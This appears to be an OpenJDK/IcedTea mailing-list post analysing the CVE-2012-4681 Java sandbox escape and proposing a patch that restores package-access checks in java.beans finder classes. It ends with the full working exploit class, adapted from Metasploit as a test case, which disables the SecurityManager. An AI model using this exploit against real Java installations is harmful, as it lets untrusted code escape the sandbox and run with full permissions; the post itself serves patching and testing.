Hi,

I was looking at some public exploit in metasploit that apparently is
being actively used.
https://raw.github.com/rapid7/metasploit-framework/master/external/source/exploits/CVE-2012-4681/Exploit.java

It is a cute, but evil exploit. It abuses
java.beans.Statement/Expression to get a reference to a method in a
restricted package and then uses that method
(sun.awt.SunToolkit.getField) to get and set the access control context
field of the Statement itself. After which it can just use the Statement
to disable the SecurityManager.

The reason this works is because Statement used to guard against getting
access to Methods, Fields and Constructors of restricted packages, but
with the following change: 6788531: java.beans.Statement imposes
excessive access control (revision e02f2d591cd5)
http://hg.openjdk.java.net/jdk7/jdk7/jdk/rev/e02f2d591cd5
these checks seem to have been forgotten in the rewrite. The old
FieldUtil, MethodUtil and ContructorUtil code had them, while the new
ConstructorFinder, FieldFinder and MethodFinder don't.

The following patch (against icedtea7, sorry Andrew I still haven't
figured out the forest stuff, but it should apply cleanly against the
openjdk 7 forest too) reintroduces the PackageAccessible checks.

diff -r 727519ab8096 Makefile.am
--- a/Makefile.am       Fri Aug 24 01:53:20 2012 +0100
+++ b/Makefile.am       Wed Aug 29 11:23:11 2012 +0200
@@ -245,7 +245,8 @@
        patches/werror-langtools.patch \
        patches/werror-hotspot.patch \
        patches/no_diz_files.patch \
-       patches/7192804-jvisualvm.patch
+       patches/7192804-jvisualvm.patch \
+       patches/beans-isPackageAccessible.patch
 
 # Conditional patches

Also attached is a small adaptation of the metasploit testcase that can
be run with: java -Djava.security.manager Exploit
Which shows the issue when a security manager is installed and that it
is back to the old behavior of denying access after the patch. We should
probably turn that into a jtreg testcase.

I have only very lightly tested it but this code is somewhat hairy, so
some extra pair of eyes and some more testing would not be a bad thing.
I do think it makes sense to try to do an icedtea/openjdk release with
this (or some other/better) fix ASAP because it seems to be actively
exploited in the wild.

Cheers,

Mark
diff -r 9b8c96f96a0f src/share/classes/com/sun/beans/finder/ConstructorFinder.java
--- openjdk/jdk/src/share/classes/com/sun/beans/finder/ConstructorFinder.java	Mon Jun 27 13:21:34 2011 -0700
+++ openjdk/jdk/src/share/classes/com/sun/beans/finder/ConstructorFinder.java	Wed Aug 29 09:52:11 2012 +0200
@@ -29,6 +29,8 @@
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Modifier;
 
+import sun.reflect.misc.ReflectUtil;
+
 /**
  * This utility class provides {@code static} methods
  * to find a public constructor with specified parameter types
@@ -61,7 +63,8 @@
         if (Modifier.isAbstract(type.getModifiers())) {
             throw new NoSuchMethodException("Abstract class cannot be instantiated");
         }
-        if (!Modifier.isPublic(type.getModifiers())) {
+        if (!ReflectUtil.isPackageAccessible(type)
+	    || !Modifier.isPublic(type.getModifiers())) {
             throw new NoSuchMethodException("Class is not accessible");
         }
         PrimitiveWrapperMap.replacePrimitivesWithWrappers(args);
diff -r 9b8c96f96a0f src/share/classes/com/sun/beans/finder/FieldFinder.java
--- openjdk/jdk/src/share/classes/com/sun/beans/finder/FieldFinder.java	Mon Jun 27 13:21:34 2011 -0700
+++ openjdk/jdk/src/share/classes/com/sun/beans/finder/FieldFinder.java	Wed Aug 29 09:52:11 2012 +0200
@@ -27,6 +27,8 @@
 import java.lang.reflect.Field;
 import java.lang.reflect.Modifier;
 
+import sun.reflect.misc.ReflectUtil;
+
 /**
  * This utility class provides {@code static} methods
  * to find a public field with specified name
@@ -56,7 +58,8 @@
         if (!Modifier.isPublic(field.getModifiers())) {
             throw new NoSuchFieldException("Field '" + name + "' is not public");
         }
-        if (!Modifier.isPublic(field.getDeclaringClass().getModifiers())) {
+        if (!ReflectUtil.isPackageAccessible(field.getDeclaringClass()) ||
+	    !Modifier.isPublic(field.getDeclaringClass().getModifiers())) {
             throw new NoSuchFieldException("Field '" + name + "' is not accessible");
         }
         return field;
diff -r 9b8c96f96a0f src/share/classes/com/sun/beans/finder/MethodFinder.java
--- openjdk/jdk/src/share/classes/com/sun/beans/finder/MethodFinder.java	Mon Jun 27 13:21:34 2011 -0700
+++ openjdk/jdk/src/share/classes/com/sun/beans/finder/MethodFinder.java	Wed Aug 29 09:52:11 2012 +0200
@@ -33,6 +33,8 @@
 import java.lang.reflect.Type;
 import java.util.Arrays;
 
+import sun.reflect.misc.ReflectUtil;
+
 /**
  * This utility class provides {@code static} methods
  * to find a public method with specified name and parameter types
@@ -120,7 +122,8 @@
      */
     public static Method findAccessibleMethod(Method method) throws NoSuchMethodException {
         Class<?> type = method.getDeclaringClass();
-        if (Modifier.isPublic(type.getModifiers())) {
+        if (ReflectUtil.isPackageAccessible(type)
+	    && Modifier.isPublic(type.getModifiers())) {
             return method;
         }
         if (Modifier.isStatic(method.getModifiers())) {
//
// CVE-2012-XXXX Java 0day
//
// reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html

import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;

public class Exploit
{

    public Exploit()
    {
    }

    public void disableSecurity()
        throws Throwable
    {
        Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
            localProtectionDomain
        });
        SetField(Statement.class, "acc", localStatement, localAccessControlContext);
        localStatement.execute();
    }

    private Class GetClass(String paramString)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
        localExpression.execute();
        return (Class)localExpression.getValue();
    }

    private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[2];
        arrayOfObject[0] = paramClass;
        arrayOfObject[1] = paramString;
	Class c = GetClass("sun.awt.SunToolkit");
        Expression localExpression = new Expression(c, "getField", arrayOfObject);
        localExpression.execute();
        ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
    }

    public static void main(String args[])
    {
	System.out.println("SecurityManager: " + System.getSecurityManager());
        try
        {
            new Exploit().disableSecurity();
        }
        catch(Throwable localThrowable)
        {
            localThrowable.printStackTrace();
        }
	System.out.println("SecurityManager: " + System.getSecurityManager());
    }
}

Reply via email to